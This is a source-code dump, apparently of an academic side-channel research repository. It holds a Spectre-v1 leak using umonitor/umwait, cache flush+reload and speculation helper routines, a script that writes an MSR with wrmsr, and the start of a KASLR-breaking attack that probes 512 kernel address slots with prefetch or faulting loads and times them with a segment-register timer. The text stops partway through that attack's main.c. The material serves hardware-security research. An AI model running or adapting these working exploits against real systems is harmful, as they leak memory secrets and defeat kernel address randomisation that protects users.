65 | pthread_setaffinity_np(thread, sizeof(cpu_set_t), &cpuset); 66 | } 67 | 68 | volatile char waiting = 0; 69 | volatile size_t cnt = 0, cnt_carry = 0, wait_write = 0, writes = 0; 70 | 71 | volatile int lbit = 0; 72 | 73 | void *leak_thread(void *dummy) 74 | { 75 | pin_to_core(CORE_ATTACKER); 76 | test[OFFSET] = 1; 77 | size_t target_addr = (size_t)(secret - (char *)array1); 78 | printf("Target: %zd\n", target_addr); 79 | 80 | while (1) 81 | { 82 | asm volatile("mfence"); 83 | while (1) 84 | { 85 | while (wait_write) 86 | ; 87 | asm volatile("mfence"); 88 | leakBit(lbit); 89 | 90 | writes++; 91 | wait_write = 1; 92 | asm volatile("mfence"); 93 | } 94 | asm volatile("mfence"); 95 | } 96 | } 97 | 98 | double channel_capacity(size_t C, double p) 99 | { 100 | return C * 101 | (1.0 + ((1.0 - p) * (log(1.0 - p) / log(2)) + p * (log(p) / log(2)))); 102 | } 103 | 104 | int main(int argc, char *argv[]) 105 | { 106 | pthread_t p; 107 | pthread_create(&p, NULL, leak_thread, NULL); 108 | sched_yield(); 109 | 110 | pin_to_core(CORE_VICTIM); 111 | 112 | memset(test, 1, sizeof(test)); 113 | 114 | int bits_leaked = 0, bits_correct = 0; 115 | 116 | int timeout = -1; 117 | if (argc > 1) 118 | timeout = atoi(argv[1]); 119 | 120 | int start = ftime(NULL); 121 | while (start == ftime(NULL)) 122 | ; 123 | start = ftime(NULL); 124 | int last_delta = 0; 125 | 126 | while (1) 127 | { 128 | // sched_yield(); 129 | asm volatile("umonitor %%rax" : : "a"(test + OFFSET), "c"(0), "d"(0)); 130 | size_t carry = 0; 131 | wait_write = 0; 132 | asm volatile("xor %%rbx, %%rbx; umwait %%rcx; jnc 1f; inc %%rbx; 1: nop" 133 | : "=b"(carry) 134 | : "a"(-1), "d"(-1), "c"(0) 135 | : "memory"); 136 | cnt_carry += carry; 137 | cnt++; 138 | while (!wait_write) 139 | ; 140 | 141 | if (cnt == 1) 142 | { 143 | 144 | bits_leaked++; 145 | if (!cnt_carry == secret[lbit]) 146 | bits_correct++; 147 | int current = ftime(NULL); 148 | int delta = current - start; 149 | if (!delta) 150 | delta = 1; 151 | 152 | if (delta != last_delta) 153 | { 154 | int speed = bits_leaked / delta; 155 | double err = ((double)(bits_leaked - bits_correct) / bits_leaked); 156 | printf( 157 | "%.3f%% error [%d leaked, %d s -> %d bits/s] - TC: %.1f bits/s\n", 158 | err * 100.0, bits_leaked, delta, speed, 159 | channel_capacity(speed, err)); 160 | fflush(stdout); 161 | last_delta = delta; 162 | timeout--; 163 | if (timeout == 0) 164 | { 165 | printf("%.3f,%d,%.1f\n", err * 100.0, speed, 166 | channel_capacity(speed, err)); 167 | exit(0); 168 | } 169 | } 170 | cnt = 0; 171 | cnt_carry = 0; 172 | writes = 0; 173 | lbit = (lbit + 1) % (sizeof(secret) / sizeof(secret[0])); 174 | } 175 | } 176 | 177 | return 0; 178 | } 179 | -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef _CACHEUTILS_H_ 2 | #define _CACHEUTILS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define ARM_PERF 1 15 | #define ARM_CLOCK_MONOTONIC 2 16 | #define ARM_TIMER 3 17 | 18 | /* ============================================================ 19 | * User configuration 20 | * ============================================================ */ 21 | size_t CACHE_MISS = 150; 22 | 23 | #define USE_RDTSC_BEGIN_END 0 24 | 25 | #define USE_RDTSCP 1 26 | 27 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC 28 | 29 | /* ============================================================ 30 | * User configuration End 31 | * ============================================================ */ 32 | 33 | 34 | // --------------------------------------------------------------------------- 35 | static size_t perf_fd; 36 | void perf_init() { 37 | static struct perf_event_attr attr; 38 | attr.type = PERF_TYPE_HARDWARE; 39 | attr.config = PERF_COUNT_HW_CPU_CYCLES; 40 | attr.size = sizeof(attr); 41 | attr.exclude_kernel = 1; 42 | attr.exclude_hv = 1; 43 | #if !defined(__i386__) 44 | attr.exclude_callchain_kernel = 1; 45 | #endif 46 | 47 | perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 48 | assert(perf_fd >= 0); 49 | 50 | // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0); 51 | } 52 | 53 | #if defined(__x86_64__) 54 | // --------------------------------------------------------------------------- 55 | uint64_t rdtsc() { 56 | uint64_t a, d; 57 | asm volatile("mfence"); 58 | #if USE_RDTSCP 59 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); 60 | #else 61 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 62 | #endif 63 | a = (d << 32) | a; 64 | asm volatile("mfence"); 65 | return a; 66 | } 67 | 68 | // --------------------------------------------------------------------------- 69 | uint64_t rdtsc_begin() { 70 | uint64_t a, d; 71 | asm volatile ("mfence\n\t" 72 | "CPUID\n\t" 73 | "RDTSCP\n\t" 74 | "mov %%rdx, %0\n\t" 75 | "mov %%rax, %1\n\t" 76 | "mfence\n\t" 77 | : "=r" (d), "=r" (a) 78 | : 79 | : "%rax", "%rbx", "%rcx", "%rdx"); 80 | a = (d<<32) | a; 81 | return a; 82 | } 83 | 84 | // --------------------------------------------------------------------------- 85 | uint64_t rdtsc_end() { 86 | uint64_t a, d; 87 | asm volatile("mfence\n\t" 88 | "RDTSCP\n\t" 89 | "mov %%rdx, %0\n\t" 90 | "mov %%rax, %1\n\t" 91 | "CPUID\n\t" 92 | "mfence\n\t" 93 | : "=r" (d), "=r" (a) 94 | : 95 | : "%rax", "%rbx", "%rcx", "%rdx"); 96 | a = (d<<32) | a; 97 | return a; 98 | } 99 | 100 | // --------------------------------------------------------------------------- 101 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); } 102 | 103 | // --------------------------------------------------------------------------- 104 | void maccess(void *p) { asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); } 105 | 106 | // --------------------------------------------------------------------------- 107 | void mfence() { asm volatile("mfence"); } 108 | 109 | // --------------------------------------------------------------------------- 110 | void nospec() { asm volatile("lfence"); } 111 | 112 | #include 113 | // --------------------------------------------------------------------------- 114 | unsigned int xbegin() { 115 | unsigned status; 116 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); 117 | return status; 118 | } 119 | 120 | // --------------------------------------------------------------------------- 121 | void xend() { 122 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 123 | } 124 | 125 | // --------------------------------------------------------------------------- 126 | int has_tsx() { 127 | if (__get_cpuid_max(0, NULL) >= 7) { 128 | unsigned a, b, c, d; 129 | __cpuid_count(7, 0, a, b, c, d); 130 | return (b & (1 << 11)) ? 1 : 0; 131 | } else { 132 | return 0; 133 | } 134 | } 135 | 136 | // --------------------------------------------------------------------------- 137 | void maccess_tsx(void* ptr) { 138 | if (xbegin() == (~0u)) { 139 | maccess(ptr); 140 | xend(); 141 | } 142 | } 143 | 144 | #define speculation_start(label) asm goto ("call %l0" : : : : label##_retp); 145 | #define speculation_end(label) asm goto("jmp %l0" : : : : label); label##_retp: asm goto("lea %l0(%%rip), %%rax\nmovq %%rax, (%%rsp)\nret\n" : : : "rax" : label); label: asm volatile("nop"); 146 | 147 | 148 | #elif defined(__i386__) 149 | // --------------------------------------------------------------------------- 150 | uint32_t rdtsc() { 151 | uint32_t a, d; 152 | asm volatile("mfence"); 153 | #if USE_RDTSCP 154 | asm volatile("rdtscp" : "=a"(a), "=d"(d)); 155 | #else 156 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 157 | #endif 158 | asm volatile("mfence"); 159 | return a; 160 | } 161 | 162 | // --------------------------------------------------------------------------- 163 | void flush(void *p) { asm volatile("clflush 0(%0)\n" : : "c"(p)); } 164 | 165 | // --------------------------------------------------------------------------- 166 | void maccess(void *p) { asm volatile("mov (%0), %%eax\n" : : "c"(p) : "eax"); } 167 | 168 | // --------------------------------------------------------------------------- 169 | void mfence() { asm volatile("mfence"); } 170 | 171 | // --------------------------------------------------------------------------- 172 | void nospec() { asm volatile("lfence"); } 173 | 174 | #include 175 | // --------------------------------------------------------------------------- 176 | int has_tsx() { 177 | if (__get_cpuid_max(0, NULL) >= 7) { 178 | unsigned a, b, c, d; 179 | __cpuid_count(7, 0, a, b, c, d); 180 | return (b & (1 << 11)) ? 1 : 0; 181 | } else { 182 | return 0; 183 | } 184 | } 185 | 186 | #elif defined(__aarch64__) 187 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 188 | #include 189 | #endif 190 | 191 | // --------------------------------------------------------------------------- 192 | uint64_t rdtsc() { 193 | #if ARM_CLOCK_SOURCE == ARM_PERF 194 | long long result = 0; 195 | 196 | asm volatile("DSB SY"); 197 | asm volatile("ISB"); 198 | 199 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 200 | return 0; 201 | } 202 | 203 | asm volatile("ISB"); 204 | asm volatile("DSB SY"); 205 | 206 | return result; 207 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 208 | asm volatile("DSB SY"); 209 | asm volatile("ISB"); 210 | struct timespec t1; 211 | clock_gettime(CLOCK_MONOTONIC, &t1); 212 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 213 | asm volatile("ISB"); 214 | asm volatile("DSB SY"); 215 | return res; 216 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 217 | uint64_t result = 0; 218 | 219 | asm volatile("DSB SY"); 220 | asm volatile("ISB"); 221 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 222 | asm volatile("DSB SY"); 223 | asm volatile("ISB"); 224 | 225 | return result; 226 | #else 227 | #error Clock source not supported 228 | #endif 229 | } 230 | // --------------------------------------------------------------------------- 231 | uint64_t rdtsc_begin() { 232 | #if ARM_CLOCK_SOURCE == ARM_PERF 233 | long long result = 0; 234 | 235 | asm volatile("DSB SY"); 236 | asm volatile("ISB"); 237 | 238 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 239 | return 0; 240 | } 241 | 242 | asm volatile("DSB SY"); 243 | 244 | return result; 245 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 246 | asm volatile("DSB SY"); 247 | asm volatile("ISB"); 248 | struct timespec t1; 249 | clock_gettime(CLOCK_MONOTONIC, &t1); 250 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 251 | asm volatile("DSB SY"); 252 | return res; 253 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 254 | uint64_t result = 0; 255 | 256 | asm volatile("DSB SY"); 257 | asm volatile("ISB"); 258 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 259 | asm volatile("ISB"); 260 | 261 | return result; 262 | #else 263 | #error Clock source not supported 264 | #endif 265 | } 266 | 267 | 268 | // --------------------------------------------------------------------------- 269 | uint64_t rdtsc_end() { 270 | #if ARM_CLOCK_SOURCE == ARM_PERF 271 | long long result = 0; 272 | 273 | asm volatile("DSB SY"); 274 | 275 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 276 | return 0; 277 | } 278 | 279 | asm volatile("ISB"); 280 | asm volatile("DSB SY"); 281 | 282 | return result; 283 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 284 | asm volatile("DSB SY"); 285 | struct timespec t1; 286 | clock_gettime(CLOCK_MONOTONIC, &t1); 287 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 288 | asm volatile("ISB"); 289 | asm volatile("DSB SY"); 290 | return res; 291 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 292 | uint64_t result = 0; 293 | 294 | asm volatile("DSB SY"); 295 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 296 | asm volatile("DSB SY"); 297 | asm volatile("ISB"); 298 | 299 | return result; 300 | #else 301 | #error Clock source not supported 302 | #endif 303 | } 304 | 305 | // --------------------------------------------------------------------------- 306 | void flush(void *p) { 307 | asm volatile("DC CIVAC, %0" ::"r"(p)); 308 | asm volatile("DSB ISH"); 309 | asm volatile("ISB"); 310 | } 311 | 312 | // --------------------------------------------------------------------------- 313 | void maccess(void *p) { 314 | volatile uint32_t value; 315 | asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); 316 | asm volatile("DSB ISH"); 317 | asm volatile("ISB"); 318 | } 319 | 320 | // --------------------------------------------------------------------------- 321 | void mfence() { asm volatile("DSB ISH"); } 322 | 323 | // --------------------------------------------------------------------------- 324 | void nospec() { asm volatile("DSB SY\nISB"); } 325 | 326 | #elif defined(__PPC64__) 327 | #include 328 | uint64_t rdtsc() { 329 | uint64_t time; 330 | asm volatile ("mfspr %0, 268\n\t" 331 | "lwsync\n\t" : "=r" (time)); 332 | 333 | return time; 334 | } 335 | 336 | // --------------------------------------------------------------------------- 337 | uint64_t rdtsc_begin() { 338 | uint64_t time; 339 | asm volatile ("mfspr %0, 268\n\t" 340 | "lwsync\n\t" : "=r" (time)); 341 | 342 | return time; 343 | } 344 | 345 | // --------------------------------------------------------------------------- 346 | uint64_t rdtsc_end() { 347 | uint64_t time; 348 | asm volatile ("mfspr %0, 268\n\t" 349 | "lwsync\n\t" : "=r" (time)); 350 | 351 | return time; 352 | } 353 | 354 | // --------------------------------------------------------------------------- 355 | void flush(void *p) { asm volatile( "dcbf 0, %0\n\t" 356 | "dcs\n\t" 357 | "ics\n\t" 358 | : : "r"(p) : ); } 359 | 360 | // --------------------------------------------------------------------------- 361 | void maccess(void *p) { asm volatile( "ld %%r0, 0(%0)" ::"r"(p): "r0"); } 362 | 363 | // --------------------------------------------------------------------------- 364 | void mfence() { asm volatile( "lwsync" ); } 365 | 366 | // --------------------------------------------------------------------------- 367 | void nospec() { asm volatile( "hwsync" ); } 368 | #endif 369 | 370 | // --------------------------------------------------------------------------- 371 | int flush_reload(void *ptr) { 372 | #if defined(__i386__) 373 | uint32_t start = 0, end = 0; 374 | #else 375 | uint64_t start = 0, end = 0; 376 | #endif 377 | 378 | #if USE_RDTSC_BEGIN_END 379 | start = rdtsc_begin(); 380 | #else 381 | start = rdtsc(); 382 | #endif 383 | maccess(ptr); 384 | #if USE_RDTSC_BEGIN_END 385 | end = rdtsc_end(); 386 | #else 387 | end = rdtsc(); 388 | #endif 389 | 390 | mfence(); 391 | 392 | flush(ptr); 393 | 394 | if (end - start < CACHE_MISS) { 395 | return 1; 396 | } 397 | return 0; 398 | } 399 | 400 | // --------------------------------------------------------------------------- 401 | int flush_reload_t(void *ptr) { 402 | #if defined(__i386__) 403 | uint32_t start = 0, end = 0; 404 | #else 405 | uint64_t start = 0, end = 0; 406 | #endif 407 | 408 | #if USE_RDTSC_BEGIN_END 409 | start = rdtsc_begin(); 410 | #else 411 | start = rdtsc(); 412 | #endif 413 | maccess(ptr); 414 | #if USE_RDTSC_BEGIN_END 415 | end = rdtsc_end(); 416 | #else 417 | end = rdtsc(); 418 | #endif 419 | 420 | mfence(); 421 | 422 | flush(ptr); 423 | 424 | return (int)(end - start); 425 | } 426 | 427 | // --------------------------------------------------------------------------- 428 | int reload_t(void *ptr) { 429 | #if defined(__i386__) 430 | uint32_t start = 0, end = 0; 431 | #else 432 | uint64_t start = 0, end = 0; 433 | #endif 434 | 435 | #if USE_RDTSC_BEGIN_END 436 | start = rdtsc_begin(); 437 | #else 438 | start = rdtsc(); 439 | #endif 440 | maccess(ptr); 441 | #if USE_RDTSC_BEGIN_END 442 | end = rdtsc_end(); 443 | #else 444 | end = rdtsc(); 445 | #endif 446 | 447 | mfence(); 448 | 449 | return (int)(end - start); 450 | } 451 | 452 | 453 | // --------------------------------------------------------------------------- 454 | size_t detect_flush_reload_threshold() { 455 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; 456 | size_t dummy[16]; 457 | size_t *ptr = dummy + 8; 458 | #if defined(__i386__) 459 | uint32_t start = 0, end = 0; 460 | #else 461 | uint64_t start = 0, end = 0; 462 | #endif 463 | 464 | maccess(ptr); 465 | for (i = 0; i < count; i++) { 466 | reload_time += reload_t(ptr); 467 | } 468 | for (i = 0; i < count; i++) { 469 | flush_reload_time += flush_reload_t(ptr); 470 | } 471 | reload_time /= count; 472 | flush_reload_time /= count; 473 | 474 | return (flush_reload_time + reload_time * 2) / 3; 475 | } 476 | 477 | // --------------------------------------------------------------------------- 478 | void maccess_speculative(void* ptr) { 479 | int i; 480 | size_t dummy = 0; 481 | void* addr; 482 | 483 | for(i = 0; i < 50; i++) { 484 | size_t c = ((i * 167) + 13) & 1; 485 | addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); 486 | flush(&c); 487 | mfence(); 488 | if(c / 0.5 > 1.1) maccess(addr); 489 | } 490 | } 491 | 492 | // --------------------------------------------------------------------------- 493 | static jmp_buf trycatch_buf; 494 | 495 | // --------------------------------------------------------------------------- 496 | void unblock_signal(int signum __attribute__((__unused__))) { 497 | sigset_t sigs; 498 | sigemptyset(&sigs); 499 | sigaddset(&sigs, signum); 500 | sigprocmask(SIG_UNBLOCK, &sigs, NULL); 501 | } 502 | 503 | // --------------------------------------------------------------------------- 504 | void trycatch_segfault_handler(int signum) { 505 | (void)signum; 506 | 507 | int i; 508 | for(i = 1; i < 32; i++) { 509 | unblock_signal(i); 510 | } 511 | longjmp(trycatch_buf, 1); 512 | } 513 | 514 | // --------------------------------------------------------------------------- 515 | int try_start() { 516 | #if defined(__i386__) || defined(__x86_64__) 517 | if(has_tsx()) { 518 | unsigned status; 519 | // tsx begin 520 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" 521 | : "=a"(status) 522 | : "a"(-1UL) 523 | : "memory"); 524 | return status == (~0u); 525 | } else 526 | #endif 527 | { 528 | int i; 529 | for(i = 1; i < 32; i++) { 530 | signal(i, trycatch_segfault_handler); 531 | } 532 | return !setjmp(trycatch_buf); 533 | } 534 | } 535 | 536 | // --------------------------------------------------------------------------- 537 | void try_end() { 538 | #if defined(__i386__) || defined(__x86_64__) 539 | if(!has_tsx()) 540 | #endif 541 | { 542 | int i; 543 | for(i = 1; i < 32; i++) { 544 | signal(i, SIG_DFL); 545 | } 546 | } 547 | } 548 | 549 | // --------------------------------------------------------------------------- 550 | void try_abort() { 551 | #if defined(__i386__) || defined(__x86_64__) 552 | if(has_tsx()) { 553 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 554 | } else 555 | #endif 556 | { 557 | maccess(0); 558 | } 559 | } 560 | 561 | #endif 562 | 563 | 564 | size_t get_physical_address(size_t vaddr) { 565 | int fd = open("/proc/self/pagemap", O_RDONLY); 566 | uint64_t virtual_addr = (uint64_t)vaddr; 567 | size_t value = 0; 568 | off_t offset = (virtual_addr / 4096) * sizeof(value); 569 | int got = pread(fd, &value, sizeof(value), offset); 570 | close(fd); 571 | return (value << 12) | ((size_t)vaddr & 0xFFFULL); 572 | } 573 | 574 | -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/main: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E2-Enhancing_Spectral/main -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "cacheutils.h" 15 | 16 | #define CORE_VICTIM 3 17 | #define CORE_ATTACKER 2 18 | 19 | #define OFFSET (4096) 20 | 21 | // #define mytime(x) (rdtsc()) 22 | #define ftime time 23 | 24 | void prepare() 25 | { 26 | uint16_t value = 1; 27 | __asm__ volatile("mov %0, %%gs" : : "r"(value)); 28 | } 29 | 30 | uint16_t check() 31 | { 32 | uint16_t value; 33 | __asm__ volatile("mov %%gs, %0" : "=r"(value)); 34 | return value; 35 | } 36 | 37 | unsigned long long reth1; 38 | unsigned long long retl0; 39 | 40 | unsigned long long mytime() 41 | { 42 | __asm__ __volatile__( 43 | "rdtsc" : "=d"(reth1), 44 | "=a"(retl0)); 45 | return ((reth1 << 32) | (retl0)); 46 | } 47 | volatile int running = 1; 48 | 49 | volatile unsigned int array1_size = 16; 50 | uint8_t __attribute__((aligned(4096))) array1[160] = { 51 | 2, 52 | 2, 53 | }; 54 | __attribute__((aligned(4096))) char test[4096 * 256]; 55 | 56 | volatile uint8_t temp = 0; 57 | 58 | char secret[] = {0, 1, 1, 0, 0, 1, 0, 1}; 59 | 60 | void __attribute__((noinline)) victim_function(size_t x) 61 | { 62 | if (x < array1_size) 63 | { 64 | temp &= test[array1[x] * 4096]; 65 | } 66 | } 67 | 68 | void leakBit(size_t target_addr) 69 | { 70 | int tries = 0, i, j, k, mix_i; 71 | size_t training_x, x; 72 | /* 16 loops: 5 training runs (x=training_x) per attack run (x=target_addr) */ 73 | training_x = 0; // tries % array1_size; 74 | for (j = 17; j >= 0; j--) 75 | { 76 | flush((unsigned int *)&array1_size); 77 | asm volatile("mfence"); 78 | 79 | x = ((j % 6) - 1) & ~0xFFFF; 80 | x = (x | (x >> 16)); 81 | x = training_x ^ (x & (target_addr ^ training_x)); 82 | 83 | asm volatile("mfence"); 84 | 85 | victim_function(x); 86 | } 87 | } 88 | 89 | void pin_to_core(int core) 90 | { 91 | cpu_set_t cpuset; 92 | pthread_t thread; 93 | 94 | thread = pthread_self(); 95 | 96 | CPU_ZERO(&cpuset); 97 | CPU_SET(core, &cpuset); 98 | 99 | pthread_setaffinity_np(thread, sizeof(cpu_set_t), &cpuset); 100 | } 101 | 102 | volatile char waiting = 0; 103 | volatile size_t cnt = 0, cnt_carry = 0, wait_write = 0, writes = 0; 104 | 105 | volatile int lbit = 0; 106 | 107 | void *leak_thread(void *dummy) 108 | { 109 | pin_to_core(CORE_ATTACKER); 110 | test[OFFSET] = 1; 111 | size_t target_addr = (size_t)(secret - (char *)array1); 112 | 113 | while (1) 114 | { 115 | asm volatile("mfence"); 116 | while (1) 117 | { 118 | while (wait_write) 119 | ; 120 | 121 | leakBit(target_addr + lbit); 122 | writes++; 123 | wait_write = 1; 124 | asm volatile("mfence"); 125 | } 126 | asm volatile("mfence"); 127 | } 128 | } 129 | 130 | double channel_capacity(size_t C, double p) 131 | { 132 | return C * 133 | (1.0 + ((1.0 - p) * (log(1.0 - p) / log(2)) + p * (log(p) / log(2)))); 134 | } 135 | 136 | int main(int argc, char *argv[]) 137 | { 138 | pthread_t p; 139 | pthread_create(&p, NULL, leak_thread, NULL); 140 | sched_yield(); 141 | 142 | pin_to_core(CORE_VICTIM); 143 | 144 | memset(test, 1, sizeof(test)); 145 | 146 | int bits_leaked = 0, bits_correct = 0, seg = 0, inter = 0, inter_err = 0; 147 | 148 | int timeout = -1; 149 | if (argc > 1) 150 | timeout = atoi(argv[1]); 151 | 152 | int start = ftime(NULL); 153 | while (start == ftime(NULL)) 154 | ; 155 | start = ftime(NULL); 156 | int last_delta = 0; 157 | 158 | while (1) 159 | { 160 | prepare(); 161 | for (int i = 0; i < 2; i++) 162 | { 163 | flush(&test[i * OFFSET]); 164 | } 165 | asm volatile("umonitor %%rax" : : "a"(test + OFFSET * 1), "c"(0), "d"(0)); 166 | size_t carry = 0; 167 | wait_write = 0; 168 | asm volatile("xor %%rbx, %%rbx; umwait %%rcx; jnc 1f; inc %%rbx; 1: nop" 169 | : "=b"(carry) 170 | : "a"(-1), "d"(-1), "c"(0) 171 | : "memory"); 172 | cnt_carry += carry; 173 | cnt++; 174 | seg = check(); 175 | while (!wait_write) 176 | ; 177 | 178 | if (cnt == 1) 179 | { 180 | if (seg == 0) 181 | { 182 | inter++; 183 | } 184 | if (seg == 0 & cnt_carry == secret[lbit]) 185 | { 186 | inter_err++; 187 | } 188 | bits_leaked++; 189 | if (!cnt_carry == secret[lbit]) 190 | bits_correct++; 191 | int current = ftime(NULL); 192 | int delta = current - start; 193 | if (!delta) 194 | delta = 1; 195 | 196 | if (delta != last_delta) 197 | { 198 | int speed = bits_leaked / delta; 199 | double err = ((double)(bits_leaked - bits_correct) / bits_leaked); 200 | double err2 = ((double)(bits_leaked - inter_err - bits_correct) / (bits_leaked - inter)); 201 | printf( 202 | "%.3f%% error [%d leaked, %d s -> %d bits/s] - TC: %.1f bits/s\n", 203 | err * 100.0, bits_leaked, delta, speed, 204 | channel_capacity(speed, err)); 205 | fflush(stdout); 206 | last_delta = delta; 207 | timeout--; 208 | if (timeout == 0) 209 | { 210 | printf("%.3f,%d,%.1f,irq=%d\n,after_filter:%.3f\n", err * 100.0, speed, 211 | channel_capacity(speed, err), inter, err2 * 100); 212 | exit(0); 213 | } 214 | } 215 | cnt = 0; 216 | cnt_carry = 0; 217 | writes = 0; 218 | lbit = (lbit + 1) % (sizeof(secret) / sizeof(secret[0])); 219 | } 220 | } 221 | 222 | return 0; 223 | } 224 | -------------------------------------------------------------------------------- /E2-Enhancing_Spectral/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | rm -f log.txt log.csv 4 | touch log.txt log.csv 5 | for to in $(seq 20000 1000 200000); 6 | do 7 | echo $to 8 | echo ": $to" >> log.txt 9 | sudo wrmsr -a 0xe1 $(printf "0x%x" $to) 10 | ./main 3 | tee res.txt 11 | cat res.txt >> log.txt 12 | echo $to,$(tail -1 res.txt) >> log.csv 13 | done 14 | sudo wrmsr -a 0xe1 0x186a0 15 | -------------------------------------------------------------------------------- /E3-Breaking_KASLR/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -lpthread -lm -o main -O3 3 | gcc timer.c -lpthread -lm -o timer 4 | clean: 5 | rm -f main timer 6 | -------------------------------------------------------------------------------- /E3-Breaking_KASLR/README.md: -------------------------------------------------------------------------------- 1 | # Breaking KASLR with SegScope-based Timer 2 | 3 | Uses SegScope-based timer to perform a realistic timing side channel attack, which derandomizes KASLR. 4 | 5 | Build our code 6 | ``` 7 | make 8 | ``` 9 | 10 | Run our timer. It outputs the granularity and stability. In our paper, the granularity refers to the cost of CPU cycles for one increment of a counter. The stability is the degree to which our timer is affected by system noise. You can see our timer achieves the same granularity with rdtsc/rdpru. 11 | 12 | Updated on 2024/12/24: please note that you may need to configure the two parameters to ontain correct results. (#define ACYCLE 1000 and #define PCYCLE 400000) 13 | 14 | ``` 15 | ./timer 16 | ``` 17 | 18 | Run our prefetch-based attack for 10 times. The program outputs the top-5 guess results. The measurements for all the 512 possible offsets are shown in `result-512`. 19 | ``` 20 | ./main 10 p 21 | ``` 22 | 23 | You can also perform access-based attack with our timer. Segment faults that will be incurred are dealt with by a pre-defined userspace handler. 24 | ``` 25 | ./main 10 a 26 | ``` 27 | 28 | The ground truth can be accessed by privileged commonds. For multiple boots, the result of side channel attack should always be equal to the output value, or differ by a constant value. 29 | ``` 30 | sudo cat /proc/kallsyms | grep _text | head -1 31 | ``` 32 | 33 | -------------------------------------------------------------------------------- /E3-Breaking_KASLR/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #define ACYCLE 1000 17 | #define PCYCLE 400000 // depends on your CPU 18 | 19 | int inter_count[512][10001], prefetch_flag = 1; 20 | double score[512] = {0}, standard[512] = {0}, var[512] = {0}, valid_count[512] = {0}, valid[512] = {0}; 21 | 22 | extern char stopspeculate[]; 23 | 24 | void prepare() 25 | { 26 | uint16_t value = 1; // non-zero null segment selector value: 1, 2, or 3 27 | __asm__ volatile("mov %0, %%gs" : : "r"(value)); 28 | } 29 | 30 | uint16_t check() 31 | { 32 | uint16_t value; 33 | __asm__ volatile("mov %%gs, %0" : "=r"(value)); 34 | return value; 35 | } 36 | 37 | int cycles; 38 | 39 | // read 512 possible slot, base address is 0x808000000 40 | int read_addr(int cycles) 41 | { 42 | int i, j, ret = 0, max = -1, maxi = -1, count; 43 | unsigned long addr; 44 | int base = 0x80800000; 45 | 46 | // get the start of the time slice 47 | while (check() == 1) 48 | ; 49 | 50 | for (i = 0; i < cycles; i++) 51 | { 52 | for (j = 0; j < 512; j++) 53 | { 54 | addr = 1024 * 1024 * 2 * j + base; 55 | count = 0; 56 | 57 | // create k segmentation fault before count 58 | if (prefetch_flag == 0) 59 | { 60 | for (int k = 0; k < ACYCLE; k++) 61 | { 62 | asm volatile( 63 | "movzx (%[addr]), %%eax\n\t" 64 | "stopspeculate: \n\t" 65 | : 66 | : 67 | [addr] "r"(addr)); 68 | } 69 | } 70 | 71 | // prefetch does not cause segment fault. 72 | else 73 | { 74 | for (int k = 0; k < PCYCLE; k++) 75 | { 76 | _m_prefetchw(addr); 77 | } 78 | } 79 | // use the remaining time slice to count 80 | prepare(); 81 | while (check() == 1) 82 | { 83 | ++count; 84 | } 85 | inter_count[j][i] = count; 86 | } 87 | } 88 | 89 | return 0; 90 | } 91 | 92 | static char *progname; 93 | int usage(void) 94 | { 95 | printf("%s: [cycles] [a/p]\n", progname); 96 | printf("a means directly access, while p means prefetch. We use prefetch instruction by default\n"); 97 | return 1; 98 | } 99 | 100 | static void pin_cpu3() 101 | { 102 | cpu_set_t mask; 103 | 104 | /* PIN to CPU3 */ 105 | CPU_ZERO(&mask); 106 | CPU_SET(3, &mask); // select Core 3 107 | sched_setaffinity(0, sizeof(cpu_set_t), 